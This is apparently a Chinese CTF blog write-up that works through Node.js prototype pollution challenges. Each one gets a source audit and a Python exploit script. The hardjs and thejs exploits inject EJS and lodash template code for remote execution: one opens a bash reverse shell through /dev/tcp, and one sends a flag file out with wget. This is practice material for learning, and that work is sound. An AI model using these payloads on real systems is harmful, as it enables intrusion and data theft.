沉铝汤的破站

IS LIFE ALWAYS THIS HARD, OR IS IT JUST WHEN YOU'RE A KID

NodeJs原型链污染的实践

0x00 前言


之前学习过NodeJs中的原型链污染(JS原型链污染攻击),但却从来没有自己实践过,导致在CTF比赛中遇到也不做,所以这次我们就专门来做几个题目。

本篇包含:

  • 原型链污染的利用
  • 一些杂七杂八的废话

懒狗把收集的题目都放到Github了(chenlvtang/NodeJsPrototypePollution),可以fork一份来自己练练

之前学的原型链还是浅显了一点,这里有篇超详细的文章(理解prototype、__proto__和constructor等关系 | Alex Zhong),附上一张复杂的图

0x01 chall_4


环境搭建

在题目文件夹中使用CMD,输入命令node app.js即可。访问 / 会报错,因为少东西,但这并不影响我们做题,访问 /admin即可,然后开始审计源码吧。

image-20210817204712275

源码审计

app.get('/admin', (req, res) => { 
	/*this is under development I guess ??*/

	if(user.admintoken && req.query.querytoken && md5(user.admintoken) === req.query.querytoken){
		res.send('Hey admin your flag is <b>flag{prototype_pollution_is_very_dangerous}</b>');
	} 
	else {
		res.send("TRY YOUR BEST!HACKER");
		// res.status(403).send('Forbidden');
	}	
}
)

可以看到,只要我们的访问参数querytoken和user.admintoken的md5值相同即可获得flag,但是代码中user并没有声明admintoken,只是一个空数组:

var user = []; //empty for now

所以这里需要我们用原型链污染,来创建一个admintoken,下面就找可以污染的点吧。一般是先找可控的参数,然后再看能不能被污染,这里很容易就可以找到一个可污染的地方:

app.post('/api', (req, res) => {
	var client = req.body;
	var winner = null;

	if (client.row > 3 || client.col > 3){
		client.row %= 3;
		client.col %= 3;
	}
	
	matrix[client.row][client.col] = client.data;
	console.log(matrix);
	for(var i = 0; i < 3; i++){
    //巴拉巴拉
    }
	//foobar
})

可以看到这里的client直接从请求中读取,然后会用 matrix[client.row][client.col] = client.data;来赋值给matrix这个数组(注意user恰好也是个数组),而这里参数又都是可控的,我们完全可以进行原型链污染,太简单了,直接看下面的exp吧。

exp

import requests

url = "http://127.0.0.1:3000"

body_1 = {
    "row": "__proto__",
    "col": "admintoken",
    "data": "chenlvtang"
}

body_2={
    "querytoken": "d51337dce036325f3dafd6037f342c42"
}

rq_1 = requests.post(url = url + "/api", json= body_1) #must use JSON
print(rq_1.text)
rq_2 = requests.get(url = url + "/admin", params = body_2)
print(rq_2.text)

这里一定要用json的原因, 应该是代码中解析body用的是JSON。

0x02 8-bit pub


环境搭建

看了一下,环境要mysql还要搭建一个SMTP服务,实在难顶,有个Dockerfile就好了。所以这题我就没做。

0x03 hardjs


环境搭建

这题虽然给了Dockerfile, 但没想到浪费了我更多时间,一开始是虚拟机嗝屁了,搞了半天,最后没办法只有死马当活马医,试了网上的说法“关闭虚拟机设置中的3D图形”,结果好了 : )

然后开始docker build -t hardjs:0.1 ./,结果也接连报错。首先是mysql装不上,所以我看网上的说法,换成了mariadb,好起来了。结果后面又是阿里云的源有问题,注释后终于能够build完。docker run -p 80:80 -it xxxx,本来以为好起来了,结果又是一份意想不到的惊喜,提示”/start.sh”不存在,麻了,明明Dockerfile里写了命令,无奈,只能从Ubuntu转战Kali。

换到Kali后,又是一个惊喜,直接报个错,什么not signed之类的,上stackoverflow查一下,告诉我是容器或者镜像开太多了,麻了,docker rm/rmi一阵删除, 然后开始build。最后run一下,终于搭建好了,也是不容易….

image-20210817213836495

网站功能测试

先看看这网站是干啥的。注册完进来后,就是管理员用户,可以进行一些留言和公告和wiki的编辑,应该是存在XSS漏洞,先找找看。

image-20210817214930459

可以看到,是能够插入JS代码的,但不知道什么原因,不能够成功执行弹窗,没其他测试点了,看源码吧。

源码审计

首先在package.json的目录下使用命令npm audit(需要有package-lock.json),这个命令可以帮我检查是否有采用含有已知漏洞的组件(另外如果你用vscode打开的话,vscode也会显示出哪些组件有漏洞,vscode 永远的神!)

image-20210820205037966

可以看到,里面有一个组件存在高危的原型链污染漏洞,访问给出的链接,可以查看到POC:

image-20210820205531577

然后我们在源码之中搜索这个方法,看看是否存在这个函数的使用,如果存在,那么我们就有机会进行原型链的污染。

image-20210820213514475

在源码server.js中确实是存在这一函数的调用,而且我们可以大概猜到这段代码的意思是如果内容大于五条则进行合并操作,而defaultsDeep操作的内容是我们可控的,即我们留言的内容,那么这里显然是可以进行原型链污染的,但此时我们并不知道要污染什么才能拿到flag。题目给出的文件里还有一个robot.py,从里面我们可以知道flag是存在环境变量中的:

username = "admin"
password = os.getenv("FLAG")

很自然的,我们就可以想到通过RCE来执行代码,从而获得环境变量中的Flag。如果这时候你善于搜索的话,就可以找到一些关于NodeJs原型链污染到RCE的文章:

Express+lodash+ejs: 从原型链污染到RCE - evi0s’ Blog

前端原型链污染漏洞竟可以拿下服务器shell? (juejin.cn)

当然,这几篇文章可能是先有了这题才有的分析🤣,不过谁叫我这么菜呢,就算有别人的分析,我也要看半天。总之,我们可以在上面这些文章里得知,因为模板EJS的渲染过程中,源码采用了利用变量拼接的方式,且有的变量并没有给定初始值,这部分变量拼接成的代码最后会在渲染过程中被执行,所以这就造成了代码注入。下面我们直接看可以被注入的地方(要更细致了解,可以看上面文章的调试过程):

if (!this.source) {
      this.generateSource();
      prepended += '  var __output = [], __append = __output.push.bind(__output);' + '\n';
      if (opts.outputFunctionName) {
        prepended += '  var ' + opts.outputFunctionName + ' = __append;' + '\n';
      }
      if (opts._with !== false) {
        prepended +=  '  with (' + opts.localsName + ' || {}) {' + '\n';
        appended += '  }' + '\n';
      }
      appended += '  return __output.join("");' + '\n';
      this.source = prepended + this.source + appended;
    }

可以看到如果outputFunctionName存在,则会进行一个拼接。这个变量是未定义的,所以如果我们把它污染赋值,则可以成功的将我们的代码注入。

if (opts.outputFunctionName) {
    prepended += '  var ' + opts.outputFunctionName + ' = __append;' + '\n';
}

下面就可以开始写exp了。

exp

首先抓个包看看,添加内容是怎样的参数:
image-20210820225811060

然后就可以正式开始写了。

import requests

url = "http://192.168.65.132"

data_1 = {"type":"notice","content":{"constructor":{"prototype":
{"outputFunctionName":"a=1;global.process.mainModule.require('child_process').exec('bash -c \"bash -i >& /dev/tcp/192.168.65.133/233  0>&1\"');"}}}}

login = {
    "username": "hi",
    "password": "123"
}

session = requests.Session()
r = session.post(url = url + "/login", data = login)

for i in range(6):
    r = session.post(url = url + "/add", json = data_1) #Must use json
    print(r.text)
rq_1 = session.get(url = url + "/get")

rq_1 = session.get(url =  url)
print(rq_1.text)

很尴尬的是,这里我在自己搭建的环境和Buuoj里都没打通🤣,不知道为什么,但是我感觉逻辑没错。(这里为甚么要用json,可以参考P神的文章深入理解 JavaScript Prototype 污染攻击 | 离别歌 (leavesongs.com))另外这题还有其他解法,这里就不尝试了,可以自行查看WP,我已经被搞麻了。

0x04 thejs


环境搭建

文件夹里自带一个docker-compose.yml,更省事了,直接docker-compose up -d就好了,文件里配置的映射关系是8086,访问即可。

网站功能测试

image-20210821205231602

可以选择一些标签,但是点击Add,并没有反应。没啥收获,直接开始源码审计吧。

源码审计

npm install然后使用npm audit来看看有没有相关的组件漏洞:

image-20210821220455011

一个个点开链接看,再结合源代码:

app.all('/', (req, res) => {
    let data = req.session.data || {language: [], category: []}
    if (req.method == 'POST') {
        data = lodash.merge(data, req.body)
        req.session.data = data
    }
    
    res.render('index', {
        language: data.language, 
        category: data.category
    })
})

很容易可以猜到是merge函数的漏洞,验证一下:

image-20210821222141575

确实是存在滴,那现在很显然我们要找找污染什么来拿到flag了,经过上一题的折磨,我们知道了可以在模板中找,这里是自己写了一个模板渲染引擎来渲染ejs后缀的文件:

app.engine('ejs', function (filePath, options, callback) { // define the template engine
    fs.readFile(filePath, (err, content) => {
        if (err) return callback(new Error(err))
        let compiled = lodash.template(content)
        let rendered = compiled({...options})

        return callback(null, rendered)
    })
})

...options中的三个点,是JS中一个特殊的操作符,可以将一个数组/对象变成分割开的参数序列(如果是对象,记得带上{}或者其他的,如这里的{…options},相当于拷贝):

console.log(...[1,2,3,4]); // 1 2 3 4

可以用于函数的传参:

function add(x, y){
    return x + y
};
add(...[1,2]); //3

这里let rendered = compiled({...options})对应了后面的render操作:

res.render('index', {
    language: data.language, 
    category: data.category
})

这里的compiled操作的参数显然就是我们可控的language和category,compiled由lodash.template创建,所以我们下一步就来看看template里面有没有我们可以用到的东西,比如未定义的变量用来拼接啥的。下个断点跟进,调试看看,找到一个变量未定义且会拼接的地方:

// Use a sourceURL for easier debugging.
var sourceURL = '//# sourceURL=' +
    ('sourceURL' in options
     ? options.sourceURL
     : ('lodash.templateSources[' + (++templateCounter) + ']')
    ) + '\n';

这个”sourceURL”一开始并不会在options里的,但是如果存在,他就会进行一个拼接,这里就造成了我们的代码注入。分析到这里,基本可以开始写exp了,目标就是污染出一个sourceURL,并且为它的值构造一个payload来成功RCE。

exp

import requests

url = "http://192.168.65.132:8086/"

#Don't know what reason, must use execSync and can't getshell
data_1 = {"__proto__" : {"sourceURL" : "1;\r\nreturn hacker = () => {return global.process.mainModule.require('child_process').execSync('cat /f*').toString();};//"}}

#but u can use exec and wget to get flag,remember to "nv -lvp 233" on 192.168.65.128
data_2 = {
    "__proto__":{
        "sourceURL": "1;\r\n global.process.mainModule.constructor._load('child_process').exec('wget http://192.168.65.128:233/$(cat /f*)');//"
    }
}


#pollution
rq = requests.post(url = url, json = data_1)
print(rq.text)

好像原环境里没有bash还是怎样,用bash反弹shell没有成功,然后搞了半天还发现这里只能用execSync来执行命令。而且这里还必须返回一个函数(原本也是返回一个函数),不能直接返回execSync的结果,不然会导致错误。这个函数会在渲染的时候执行,并将我们的命令执行结果返回。后来又发现使用exec和wget可以外带数据…很迷

0x05 bluePrint


环境搭建

里面有一个Dockefile,但是一开始连续build了两次都死在了lodash的安装上,后来因为想复制一下报错信息,但是总是copy不到物理机,就重装了一个vmtool,结果再build的时候,居然成功了 = = …(估计是网络问题)

网站功能测试

貌似是一个留言板的功能,可以选择是否公开,公开的话主页能看到:

image-20210822220243219

image-20210822220339413

测了一下最简单的Xss,发现行不通,还是看源码来审计吧。

源码审计

经过前面几题的洗礼加上这里package.json里的lodash,这里闭着眼睛都知道是lodash的问题, 你也可以用yarn audit看一下(yarn 类似于npm):

image-20210822223607109

找到了存在原型链污染漏洞的代码:

else if (req.url === '/make' && req.method === 'POST') {
    // API used by the creation page
    getRawBody(req, {
      limit: '1mb',
    }, (err, body) => {
      if (err) {
        throw err
      }
      let parsedBody
      try {
        // default values are easier to do than proper input validation
        parsedBody = _.defaultsDeep({
          publiс: false, // default private
          cоntent: '', // default no content
        }, JSON.parse(body))
      } catch (e) {
        res.end('bad json')
        return
      }

然后我们再找污染哪里可以得到flag,下面这段代码告诉我们,当刚创建服务的时候,就会把flag存到一个内容里,只不过没有设置为public,所以我们再主页看不到:


http.createServer((req, res) => {
  let userId = parseUserId(req.headers.cookie)
  let user = users.get(userId)
  if (userId === null || user === undefined) {
    // create user if one doesnt exist
    userId = makeId()
    user = {
      blueprints: {
        [makeId()]: {
          content: flag,
        },
      },
    }
    users.set(userId, user)
  }

然后我们再看一下主页的渲染操作:

if (req.url === '/' && req.method === 'GET') {
   // list all public blueprints
   res.end(mustache.render(indexTemplate, {
     blueprints: Object.entries(user.blueprints).map(([k, v]) => ({
       id: k,
       content: v.content,
       public: v.public,
     })),
   }))
 } 

虽然不是很明白他是怎么控制非public不渲染的,但是我们现在的目标已经很明确了,就是给object弄出public为true就行了,所以我们就可以开始写我们的exp了

exp

import requests

url = "http://192.168.65.132"

data_1 = {
    "constructor": {
        "prototype": {
            "public": True
        }
    }
}

session = requests.session()

r = session.post(url = url + "/make", json = data_1)
r = session.get(url = url)
print(r.text)

0x06 日后上新题 🕊